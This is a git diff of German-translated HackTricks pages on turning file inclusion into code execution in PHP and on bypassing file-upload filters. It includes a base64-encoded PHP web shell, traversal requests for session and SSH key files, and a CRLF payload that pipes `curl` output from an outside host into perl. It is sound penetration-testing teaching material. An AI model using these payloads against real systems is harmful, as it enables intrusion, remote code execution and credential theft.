zu laden, und Sie bekommen keine zweite Gelegenheit. +> Stelle außerdem sicher, dass du **die Payload korrekt schreibst**, sonst wird PHP bei jedem Versuch, die Logdatei zu laden, einen Fehler ausgeben und du wirst keine zweite Gelegenheit haben. -Das könnte auch in anderen Logs funktionieren, aber **vorsichtig sein,** der Code in den Logs könnte URL encoded sein und dadurch die Shell zerstört werden. Der Header **authorisation "basic"** enthält "user:password" in Base64 und wird in den Logs dekodiert. Die PHPShell könnte in diesen Header eingefügt werden.\ -Weitere mögliche Logpfade: +Das kann auch in anderen Logs gemacht werden, aber **sei vorsichtig,** der Code in den Logs könnte URL encoded sein und das könnte die Shell zerstören. Der Header **authorisation "basic"** enthält "user:password" in Base64 und wird in den Logs dekodiert. Die PHPShell könnte in diesen Header eingefügt werden.\ + +Weitere mögliche Log-Pfade: ```python /var/log/apache2/access.log /var/log/apache/access.log @@ -500,42 +502,42 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin ### Per E-Mail -**Sende eine E-Mail** an ein internes Konto (user@localhost), die deinen PHP-Payload wie `` enthält und versuche, die Mail des Benutzers mit einem Pfad wie **`/var/mail/`** oder **`/var/spool/mail/`** einzubinden. +**Sende eine E-Mail** an ein internes Konto (user@localhost), die deinen PHP-Payload wie `` enthält, und versuche, die Mail des Benutzers mit einem Pfad wie **`/var/mail/`** oder **`/var/spool/mail/`** einzubinden. -### Über /proc/\*/fd/\* +### Über /proc/*/fd/* -1. Lade viele shells hoch (z. B.: 100) -2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), mit $PID = PID des Prozesses (can be brute forced) und $FD = file descriptor (can be brute forced too) +1. Lade viele shells hoch (zum Beispiel: 100) +2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), wobei $PID die PID des Prozesses ist (kann per Brute-Force ermittelt werden) und $FD der File-Descriptor ist (kann ebenfalls per Brute-Force ermittelt werden) ### Über /proc/self/environ -Wie bei einer Logdatei: Sende den payload im User-Agent; er wird in der Datei /proc/self/environ reflektiert. +Wie bei einer Logdatei: sende den Payload im User-Agent; er wird in der Datei /proc/self/environ reflektiert ``` GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 User-Agent: ``` -### Per upload +### Via upload -Wenn du eine Datei uploaden kannst, injiziere einfach das shell payload hinein (z. B.: ``). +Wenn du eine Datei uploaden kannst, injecte einfach das shell payload in sie (z. B.: ``). ``` http://example.com/index.php?page=path/to/uploaded/file.png ``` -Um die Datei lesbar zu halten, ist es am besten, in die Metadaten von Bildern/Dokumenten/PDFs zu injizieren +Um die Datei lesbar zu halten, ist es am besten, Inhalte in die Metadaten der Bilder/Dokumente/PDFs einzubetten. -### Per Upload einer ZIP-Datei +### Per Zip-Datei-Upload -Lade eine ZIP-Datei hoch, die eine komprimierte PHP shell enthält, und greife darauf zu: +Lade eine ZIP-Datei hoch, die eine komprimierte PHP shell enthält, und rufe sie auf: ```python example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php ``` -### Über PHP sessions +### Über PHP-Sessions -Prüfe, ob die Website PHP Session (PHPSESSID) verwendet +Überprüfe, ob die Website PHP-Sessions (PHPSESSID) verwendet ``` Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly ``` -In PHP werden diese sessions in _/var/lib/php5/sess\\_\[PHPSESSID]\_ Dateien gespeichert. +In PHP werden diese Sessions in _/var/lib/php5/sess\\_\[PHPSESSID]\_ Dateien gespeichert ``` /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin"; @@ -544,121 +546,121 @@ Setze das Cookie auf `` ``` login=1&user=&pass=password&lang=en_us.php ``` -Verwende das LFI, um die PHP-Session-Datei einzubinden +Verwende das LFI, um die PHP-Session-Datei einzubinden. ``` login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2 ``` ### Über ssh -Wenn ssh aktiv ist, prüfe, welcher Benutzer verwendet wird (/proc/self/status & /etc/passwd) und versuche, auf **\/.ssh/id_rsa** zuzugreifen. +Wenn ssh aktiv ist, prüfe, welcher Benutzer verwendet wird (/proc/self/status & /etc/passwd) und versuche, auf **\/.ssh/id_rsa** zuzugreifen ### **Über** **vsftpd** _**logs**_ -Die Logs des FTP-Servers vsftpd befinden sich unter _**/var/log/vsftpd.log**_. In dem Szenario, in dem eine Local File Inclusion (LFI)-Schwachstelle besteht und Zugang zu einem exponierten vsftpd-Server möglich ist, können folgende Schritte in Betracht gezogen werden: +Die Logs des FTP-Servers vsftpd befinden sich unter _**/var/log/vsftpd.log**_. In dem Szenario, in dem eine Local File Inclusion (LFI)-Schwachstelle vorhanden ist und Zugriff auf einen exponierten vsftpd-Server möglich ist, können die folgenden Schritte in Betracht gezogen werden: -1. Injiziere eine PHP-Payload in das Username-Feld während des Anmeldevorgangs. +1. Injiziere eine PHP-Payload in das Benutzername-Feld während des Anmeldevorgangs. 2. Nach der Injektion nutze die LFI, um die Server-Logs von _**/var/log/vsftpd.log**_ abzurufen. -### Über PHP base64-Filter (mit base64) +### Über php base64 filter (using base64) -Wie in [diesem](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) Artikel gezeigt, ignoriert der PHP-base64-Filter einfach Nicht-base64-Zeichen. Du kannst das nutzen, um die Prüfung auf die Dateiendung zu umgehen: Wenn du base64 bereitstellst, das mit ".php" endet, würde er den "." einfach ignorieren und "php" an das base64 anhängen. Hier ist ein Beispiel-Payload: +Wie in [diesem](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) Artikel gezeigt, ignoriert der PHP base64-Filter einfach Nicht-base64. Du kannst das verwenden, um die Dateiendungsprüfung zu umgehen: wenn du base64 lieferst, das mit ".php" endet, würde er den "." einfach ignorieren und "php" an das base64 anhängen. Hier ist ein Beispiel-Payload: ```url http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php NOTE: the payload is "" ``` -### Via php filters (no file needed) +### Über php filters (no file needed) -Dieser [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) erklärt, dass du **php filters to generate arbitrary content** als Ausgabe verwenden kannst. Das bedeutet im Wesentlichen, dass du **generate arbitrary php code** für das include erzeugen kannst, **without needing to write** es in eine Datei. +This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)erklärt, dass du **php filters to generate arbitrary content** als Ausgabe verwenden kannst. Was im Wesentlichen bedeutet, dass du **generate arbitrary php code** für das **include** **without needing to write** in eine Datei erzeugen kannst. {{#ref}} lfi2rce-via-php-filters.md {{#endref}} -### Via segmentation fault +### Über segmentation fault -Lade eine Datei hoch, die als **temporary** in `/tmp` gespeichert wird; löse dann in derselben Anfrage einen **segmentation fault** aus. Die temporäre Datei wird nicht gelöscht und du kannst sie danach suchen. +**Upload** eine Datei, die als **temporary** in `/tmp` gespeichert wird, dann löse in der **same request,** einen **segmentation fault** aus, und die **temporary file won't be deleted** — du kannst sie danach durchsuchen. {{#ref}} lfi2rce-via-segmentation-fault.md {{#endref}} -### Via Nginx temp file storage +### Über Nginx temp file storage -Wenn du eine **Local File Inclusion** gefunden hast und **Nginx** vor PHP läuft, könntest du mit der folgenden Technik RCE erlangen: +Wenn du eine **Local File Inclusion** gefunden hast und **Nginx** vor PHP läuft, könntest du mit der folgenden Technik RCE erreichen: {{#ref}} lfi2rce-via-nginx-temp-files.md {{#endref}} -### Via PHP_SESSION_UPLOAD_PROGRESS +### Über PHP_SESSION_UPLOAD_PROGRESS -Wenn du eine **Local File Inclusion** gefunden hast, selbst wenn du **don't have a session** und `session.auto_start` auf `Off` steht. Wenn du den **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST**-Daten mitsendest, wird PHP die Session für dich **enable the session for you**. Du könntest das missbrauchen, um RCE zu erhalten: +Wenn du eine **Local File Inclusion** gefunden hast, selbst wenn du **don't have a session** und `session.auto_start` auf `Off` steht. Wenn du **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST**-Daten mitsendest, wird PHP die Session für dich aktivieren. Das kannst du ausnutzen, um RCE zu erlangen: {{#ref}} via-php_session_upload_progress.md {{#endref}} -### Via temp file uploads in Windows +### Über temp file uploads in Windows -Wenn du eine **Local File Inclusion** gefunden hast und der Server unter **Windows** läuft, könntest du RCE erlangen: +Wenn du eine **Local File Inclusion** gefunden hast und der Server unter **Windows** läuft, könntest du RCE erreichen: {{#ref}} lfi2rce-via-temp-file-uploads.md {{#endref}} -### Via `pearcmd.php` + URL args +### Über `pearcmd.php` + URL args -As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). +As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), das Script `/usr/local/lib/phppearcmd.php` existiert standardmäßig in php docker images. Zudem ist es möglich, dem Script Argumente über die URL zu übergeben, weil angegeben ist, dass ein URL-Param ohne `=` als Argument verwendet werden soll. Siehe auch [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) und [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). Die folgende Anfrage erstellt eine Datei in `/tmp/hello.php` mit dem Inhalt ``: ```bash GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/hello.php HTTP/1.1 ``` -Das Folgende missbraucht eine CRLF vuln, um RCE zu erlangen (von [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): +Im Folgenden wird eine CRLF vuln missbraucht, um RCE zu erreichen (von [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a %0d%0a ``` -### Via phpinfo() (file_uploads = on) +### Über phpinfo() (file_uploads = on) -Wenn du eine **Local File Inclusion** und eine Datei gefunden hast, die **phpinfo()** mit file_uploads = on offenlegt, kannst du RCE erlangen: +Wenn du eine **Local File Inclusion** gefunden hast und eine Datei **phpinfo()** offenbart wurde mit file_uploads = on, kannst du RCE erreichen: {{#ref}} lfi2rce-via-phpinfo.md {{#endref}} -### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure +### Über compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure -Wenn du eine **Local File Inclusion** gefunden hast und du **den Pfad** der temporären Datei **exfiltrieren** kannst, ABER der **Server** überprüft, ob die **einzuschließende Datei PHP-Tags hat**, kannst du versuchen, diese Überprüfung mit dieser **Race Condition** zu **bypassen**: +Wenn du eine **Local File Inclusion** gefunden hast und du **den Pfad** der temporären Datei **exfiltrieren kannst**, ABER der **Server** überprüft, ob die **einzuschließende Datei PHP-Markierungen** enthält, kannst du versuchen, diese **Überprüfung zu umgehen** mit dieser **Race Condition**: {{#ref}} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {{#endref}} -### Via eternal waiting + bruteforce +### Über eternal waiting + bruteforce -Wenn du das LFI missbrauchen kannst, um **upload temporary files** und den Server die PHP-Ausführung **hang**en zu lassen, könntest du anschließend **brute force filenames during hours** durchführen, um die temporäre Datei zu finden: +Wenn du LFI missbrauchen kannst, um **temporäre Dateien hochzuladen** und den Server die PHP-Ausführung **hängen** zu lassen, könntest du dann **stundenlang Dateinamen bruteforcen**, um die temporäre Datei zu finden: {{#ref}} lfi2rce-via-eternal-waiting.md {{#endref}} -### To Fatal Error +### Zum Fatal Error If you include any of the files `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (You need to include the same one 2 time to throw that error). -**Ich weiß nicht, wie das nützlich ist, aber es könnte sein.**\ -_Selbst wenn du einen PHP Fatal Error verursachst, werden hochgeladene PHP-Temporärdateien gelöscht._ +**Ich weiß nicht, wie nützlich das ist, aber es könnte sein.**\ +_Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._
-## Referenzen +## References - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal) - [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders) diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md index c4ba8cd3e..f9f1be1b0 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md @@ -3,38 +3,38 @@ {{#include ../../banners/hacktricks-training.md}} -## Einführung +## Einleitung -This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) erklärt, dass man **php filters** verwenden kann, um beliebigen Inhalt als Ausgabe zu erzeugen. Das bedeutet im Grunde, dass man beliebigen php‑Code für das include erzeugen kann, ohne ihn in eine Datei schreiben zu müssen. +This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) erklärt, dass man **php filters to generate arbitrary content** als Ausgabe verwenden kann. Das bedeutet im Grunde, dass man **generate arbitrary php code** für das include **ohne es in eine Datei schreiben zu müssen** erzeugen kann. -Im Wesentlichen ist das Ziel des Skripts, eine **Base64**-Zeichenkette am **Anfang** der Datei zu erzeugen, die schließlich **dekodiert** wird und die gewünschte Nutzlast liefert, die von `include` **interpretiert** wird. +Im Grunde ist das Ziel des Scripts, einen **Base64**-String am **Anfang** der Datei zu erzeugen, der schließlich decodiert wird und das gewünschte Payload liefert, das von `include` interpretiert wird. Die Grundlagen dafür sind: -- `convert.iconv.UTF8.CSISO2022KR` wird immer `\x1b$)C` an den String voranstellen -- `convert.base64-decode` ist extrem tolerant; es ignoriert im Grunde alle Zeichen, die kein gültiges Base64 sind. Probleme entstehen, wenn es unerwartete "=" findet, aber diese können mit dem `convert.iconv.UTF8.UTF7` filter entfernt werden. +- `convert.iconv.UTF8.CSISO2022KR` will always prepend `\x1b$)C` to the string +- `convert.base64-decode` is extremely tolerant, it will basically just ignore any characters that aren't valid base64. It gives some problems if it finds unexpected "=" but those can be removed with the `convert.iconv.UTF8.UTF7` filter. Die Schleife, um beliebigen Inhalt zu erzeugen, ist: -1. `\x1b$)C` wie oben beschrieben an unseren String voranstellen -2. Eine Kette von iconv-Konvertierungen anwenden, die unser initiales Base64 intakt lässt und den Teil, den wir gerade vorangestellt haben, in einen String umwandelt, in dem das einzige gültige Base64-Zeichen der nächste Teil unseres Base64-codierten php-Codes ist -3. Den String base64-decodieren und wieder base64-encodieren; dadurch werden alle dazwischenliegenden störenden Zeichen entfernt -4. Zurück zu 1, falls das aufzubauende Base64 noch nicht fertig ist -5. Base64-dekodieren, um unseren php-Code zu erhalten +1. füge `\x1b$)C` an den Anfang unseres Strings wie oben beschrieben +2. wende eine Kette von iconv-Konversionen an, die unseren initialen base64 intakt lässt und den gerade vorangestellten Teil in einen String umwandelt, in dem das einzige gültige base64-Zeichen der nächste Teil unseres base64-kodierten php-Codes ist +3. base64-decode und base64-encode den String, wodurch Zwischenmüll entfernt wird +4. Geh zurück zu 1, wenn das zu erzeugende base64 noch nicht fertig ist +5. base64-decode um unseren php code zu erhalten > [!WARNING] -> **Includes** fügen normalerweise Dinge wie das **Anhängen von ".php" am Ende** der Datei hinzu, was die Ausnutzung erschweren kann, weil man eine .php-Datei finden müsste, deren Inhalt den Exploit nicht verhindert... oder man **könnte einfach `php://temp` als resource** verwenden, weil es **jedes beliebige Zeichen an den Namen anhängen kann** (lie +".php") und der Exploit trotzdem funktioniert! +> **Includes** hängen normalerweise z. B. **\".php\" an das Ende** der Datei an, was die Ausnutzung erschweren kann, weil man eine .php-Datei mit einem Inhalt finden müsste, der den Exploit nicht zerstört... oder man **könnte einfach `php://temp` als resource** verwenden, da an dessen Namen **alles angehängt werden kann** (z. B. lie +".php") und der Exploit trotzdem funktioniert! -## Wie man dem resultierenden String außerdem Suffixe hinzufügt +## How to add also suffixes to the resulting data -[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) wie man PHP filters weiterhin missbrauchen kann, um Suffixe an den resultierenden String anzuhängen. Das ist nützlich, falls die Ausgabe ein bestimmtes Format haben muss (wie json oder das Hinzufügen einiger PNG-Magic-Bytes). +[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) wie man weiterhin PHP filters missbrauchen kann, um Suffixe an den resultierenden String anzuhängen. Das ist nützlich, falls die Ausgabe ein bestimmtes Format haben muss (wie json oder zum Hinzufügen von PNG magic bytes) -## Automatische Tools +## Automatic Tools - [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator) -- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(kann Suffixe hinzufügen)** +- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(can add suffixes)** -## Vollständiges Skript +## Full script ```python import requests @@ -96,7 +96,7 @@ print(r.text) ``` ### Verbesserungen -Das vorherige Skript ist auf die base64-Zeichen beschränkt, die für diesen payload benötigt werden. Daher habe ich mein eigenes Skript erstellt, um alle base64-Zeichen zu bruteforcen: +Das vorherige Skript ist auf die base64-Zeichen beschränkt, die für diesen Payload benötigt werden. Deshalb habe ich mein eigenes Skript erstellt, um **bruteforce all the base64 characters**: ```php conversions = { '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2', @@ -165,7 +165,7 @@ conversions = { '=': '' } ``` -Hier ist das **script**, um encodings zu erhalten, die jeden b64-Buchstaben erzeugen: +Hier ist das **script**, um die Encodings zu erhalten, die jeden b64-Buchstaben erzeugen: ```php AAA.php +7. Verwendung von **NTFS alternate data stream (ADS)** in **Windows**. In diesem Fall wird ein Doppelpunkt ":" nach einer verbotenen Extension und vor einer erlaubten eingefügt. Dadurch wird eine **leere Datei mit der verbotenen Extension** auf dem Server erstellt (z. B. "file.asax:.jpg"). Diese Datei kann später mit anderen Techniken bearbeitet werden, z. B. über ihren Short Filename. Das Muster "**::$data**” kann ebenfalls verwendet werden, um nicht-leere Dateien zu erstellen. Daher kann das Hinzufügen eines Punktes nach diesem Muster helfen, weitere Restriktionen zu umgehen (z. B. "file.asp::$data.") +8. Versuche, die Dateinamensgrenzen zu sprengen. Die gültige Extension wird abgeschnitten und das bösartige PHP bleibt übrig. AAA<--SNIP-->AAA.php ``` # Linux maximum 255 bytes @@ -59,56 +59,56 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAA<--SNIP 232 A-->AAA.php.png ``` -### Content-Type, Magic Number, Kompression & Größenänderung umgehen +### Umgehung von Content-Type, Magic Number, Kompression & Resizing -- Umgehe **Content-Type**-Prüfungen, indem du den **Wert** des **Content-Type** **Headers** auf setzt: _image/png_ , _text/plain , application/octet-stream_ -1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) -- Umgehe die **magic number**-Prüfung, indem du am Anfang der Datei die **Bytes eines echten Bildes** einfügst (verwirrt das _file_-Kommando). Oder platziere die Shell in den **Metadaten**:\ +- Umgehung von **Content-Type** Checks, indem der **Wert** des **Content-Type** Headers auf gesetzt wird: _image/png_ , _text/plain , application/octet-stream_ +1. Content-Type **Wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) +- Umgehung der **Magic Number** Prüfung, indem am Anfang der Datei die **Bytes eines echten Bildes** eingefügt werden (verwirrt das _file_ Kommando). Oder man fügt das Shell-Skript in die **Metadaten** ein:\ `exiftool -Comment="' >> img.png` -- Falls **Kompressionen auf dein Bild angewendet** werden, z. B. durch Standard-PHP-Bibliotheken wie [PHP-GD](https://www.php.net/manual/fr/book.image.php), sind die vorherigen Techniken nicht nützlich. Du kannst jedoch den **PLTE chunk** [**Technik hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um Text einzufügen, der die **Kompression überlebt**. -- [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) -- Die Webseite könnte das **Bild außerdem skalieren**, z. B. mit den PHP-GD-Funktionen `imagecopyresized` oder `imagecopyresampled`. Du könntest jedoch den **IDAT chunk** [**Technik hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um Text einzufügen, der die **Kompression überlebt**. -- [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) -- Eine weitere Technik, um ein Payload zu erstellen, das eine Bildskalierung übersteht (z. B. die PHP-GD-Funktion `thumbnailImage`), ist die Verwendung des **tEXt chunk** [**hier definierte Technik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html), um Text einzufügen, der die **Kompression überlebt**. -- [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) +- Falls eine **Kompression** auf das Bild angewendet wird, z. B. durch Standard-PHP-Bibliotheken wie [PHP-GD](https://www.php.net/manual/fr/book.image.php), sind die vorherigen Techniken oft nicht nützlich. Du könntest jedoch das **PLTE chunk** [**im hier definierten Verfahren**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um Text einzufügen, der die **Kompression überlebt**. +- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) +- Die Webseite könnte das **Bild auch skalieren**, z. B. mit den PHP-GD Funktionen `imagecopyresized` oder `imagecopyresampled`. Du könntest jedoch das **IDAT chunk** [**im hier definierten Verfahren**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um Text einzufügen, der die **Kompression überlebt**. +- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) +- Eine weitere Technik, um ein Payload zu erstellen, das **einem Image-Resizing standhält**, verwendet die PHP-GD Funktion `thumbnailImage`. Du kannst auch das **tEXt chunk** [**im hier definierten Verfahren**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um Text einzufügen, der die **Kompression überlebt**. +- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) ### Weitere Tricks zum Prüfen -- Finde eine Verwundbarkeit, um die bereits hochgeladene Datei umzubenennen (um die Erweiterung zu ändern). -- Finde eine **Local File Inclusion**-Vulnerability, um den Backdoor auszuführen. -- **Mögliche Informationsoffenlegung**: -1. Lade die **gleiche Datei** **mehrfach** (und gleichzeitig) mit **dem selben Namen** hoch. +- Finde eine Verwundbarkeit, die es erlaubt, die bereits hochgeladene Datei **umzubenennen** (um die Extension zu ändern). +- Finde eine **Local File Inclusion** Verwundbarkeit, um die Backdoor auszuführen. +- **Mögliche Informationslecks**: +1. Lade **mehrfach** (und zur **gleichen Zeit**) dieselbe Datei mit demselben Namen hoch. 2. Lade eine Datei mit dem **Namen** einer **bereits existierenden Datei** oder eines **Ordners** hoch. -3. Lade eine Datei mit dem Namen `"."`, `".."` oder `"..."` hoch. Zum Beispiel erzeugt in Apache unter **Windows**, wenn die Anwendung die hochgeladenen Dateien im Verzeichnis "/www/uploads/" speichert, der Dateiname "." eine Datei namens "uploads" im Verzeichnis "/www/". -4. Lade eine Datei hoch, die sich nicht leicht löschen lässt, z. B. **"...:.jpg"** in **NTFS**. (Windows) -5. Lade eine Datei auf **Windows** mit **ungültigen Zeichen** wie `|<>*?”` im Namen hoch. (Windows) -6. Lade eine Datei auf **Windows** mit reservierten (**verbotenen**) Namen wie CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 und LPT9 hoch. -- Versuche außerdem, eine ausführbare Datei (.exe) oder eine **.html** (weniger verdächtig) hochzuladen, die beim versehentlichen Öffnen durch ein Opfer Code ausführt. +3. Lade eine Datei mit dem Namen **"."**, **".."** oder **"…"** hoch. Beispielsweise erstellt in Apache unter **Windows** der Dateiname "." eine Datei namens "uploads" im Verzeichnis "/www/", wenn die Anwendung die hochgeladenen Dateien im Verzeichnis "/www/uploads/" speichert. +4. Lade eine Datei, die nicht leicht gelöscht werden kann, wie z. B. **"…:.jpg"** unter **NTFS**. (Windows) +5. Lade eine Datei in **Windows** mit **ungültigen Zeichen** im Namen wie `|<>*?”`. (Windows) +6. Lade eine Datei in **Windows** mit reservierten (**verbotenen**) Namen wie CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 und LPT9. +- Versuche außerdem, eine **executable** (.exe) oder eine **.html** (weniger verdächtig) hochzuladen, die **Code ausführt**, wenn sie versehentlich vom Opfer geöffnet wird. -### Spezielle Erweiterungs-Tricks +### Spezielle Extension-Tricks -Wenn du Dateien auf einen **PHP server** hochladen willst, [sieh dir den **.htaccess**-Trick an, um Code auszuführen](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ -Wenn du Dateien auf einen **ASP server** hochladen willst, [sieh dir den **.config**-Trick an, um Code auszuführen](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). +Wenn du versuchst, Dateien auf einen **PHP server** hochzuladen, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ +Wenn du versuchst, Dateien auf einen **ASP server** hochzuladen, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). -Die `.phar` Dateien sind wie `.jar` für Java, aber für PHP, und können **wie eine PHP-Datei verwendet werden** (mit php ausgeführt oder innerhalb eines Scripts inkludiert werden...). +Die `.phar` Dateien sind wie `.jar` für Java, aber für PHP, und können **wie eine PHP-Datei verwendet werden** (mit php ausgeführt oder in ein Script included werden...). -Die `.inc` Erweiterung wird manchmal für PHP-Dateien verwendet, die nur zum **Importieren von Dateien** dienen; daher könnte es sein, dass diese Erweiterung an einer Stelle **zur Ausführung erlaubt** wurde. +Die `.inc` Extension wird manchmal für PHP-Dateien verwendet, die nur zum **Importieren** von Dateien dienen, daher könnte an irgendeinem Punkt diese **Extension zur Ausführung erlaubt worden sein**. ## **Jetty RCE** -Wenn du eine XML-Datei auf einen Jetty-Server hochladen kannst, kannst du [RCE erhalten, weil **neue \*.xml und \*.war automatisch verarbeitet werden**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Wie im folgenden Bild erwähnt, lade die XML-Datei nach `$JETTY_BASE/webapps/` hoch und erwarte die Shell! +Wenn du eine XML-Datei auf einen Jetty-Server hochladen kannst, kannst du [RCE erhalten, weil **neue \*.xml und \*.war automatisch verarbeitet werden**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Wie im folgenden Bild erwähnt, lade die XML-Datei in `$JETTY_BASE/webapps/` hoch und erwarte die Shell! ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>) ## **uWSGI RCE** -Für eine detaillierte Untersuchung dieser Verwundbarkeit sieh dir die Originalrecherche an: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). +Für eine detaillierte Untersuchung dieser Verwundbarkeit siehe die Original-Recherche: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). -Remote Command Execution (RCE) vulnerabilities können auf uWSGI-Servern ausgenutzt werden, wenn man die Möglichkeit hat, die `.ini`-Konfigurationsdatei zu verändern. uWSGI-Konfigurationsdateien verwenden eine spezielle Syntax, die "magische" 